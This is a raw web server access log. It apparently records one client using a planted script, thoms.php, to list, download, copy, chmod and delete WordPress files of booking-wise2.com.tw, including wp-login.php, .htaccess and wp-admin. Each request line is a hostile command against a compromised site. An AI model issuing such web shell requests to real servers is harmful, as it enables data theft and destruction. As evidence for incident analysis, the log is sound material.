45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?chmod=wp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /booking-wise2.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?del=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /booking-wise2.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw&settings=1 HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /booking-wise2.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-trackback.php HTTP/1.1" 200 14095 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?dl=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 17419 "http://163.245.207.76:443/thoms.php?dl=error_log&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?del=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 17419 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13765 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11664 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13038 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:00 -0400] "GET /booking-wise2.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p= HTTP/1.1" 200 11682 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p= HTTP/1.1" 200 11664 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13631 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 17419 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /booking-wise2.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?chmod=web-common&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=web-common&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?chmod=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?chmod=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?del=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?del=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "http://163.245.207.76:443/thoms.php?del=readme.html&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=thoms.php HTTP/1.1" 200 11817 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /thoms.php?del=wp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:01 -0400] "GET /booking-wise2.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=mah.php HTTP/1.1" 200 11814 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "https://163.245.207.76/booking-wise2.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?del=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "http://163.245.207.76:443/thoms.php?del=mah.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?chmod=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?dl=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 17421 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?chmod=cgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13102 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?dl=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?chmod=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?del=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?dl=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?del=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:02 -0400] "GET /thoms.php?del=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /booking-wise2.com.tw/.well-known/ HTTP/1.1" 200 784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?dl=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?chmod=wp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?dl=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=readme.html HTTP/1.1" 200 15246 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13324 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /booking-wise2.com.tw/cgi-bin/ HTTP/1.1" 200 694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?del=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /booking-wise2.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p= HTTP/1.1" 200 11621 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-mail.php HTTP/1.1" 200 15357 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:03 -0400] "GET /thoms.php?chmod=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?del=wp-content&p=booking-wise2.com.tw HTTP/1.1" 200 17393 "http://163.245.207.76:443/thoms.php?del=wp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=.htaccess HTTP/1.1" 200 12732 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /booking-wise2.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12048 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?del=wp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?chmod=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?del=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?chmod=upgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:04 -0400] "GET /thoms.php?chmod=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12599 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?chmod=.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /booking-wise2.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=license.txt HTTP/1.1" 200 20077 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?del=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
